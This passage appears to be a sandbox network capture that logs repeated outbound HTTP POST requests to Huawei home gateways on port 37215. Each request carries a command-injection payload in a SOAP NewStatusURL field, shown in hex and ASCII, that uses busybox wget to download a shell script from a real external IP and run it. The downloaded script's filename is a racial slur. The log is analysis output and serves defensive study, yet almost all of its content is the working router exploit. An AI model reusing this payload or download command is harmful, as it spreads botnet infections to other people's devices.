6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:19.365211964 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.23	33982	31.136.240.206	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:36:43.789134026 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:44.362193108 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:45.481962919 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:47.881622076 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:52.488930941 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:01.447734118 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:19.365185022 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.23	51948	31.200.95.121	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:36:43.824778080 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 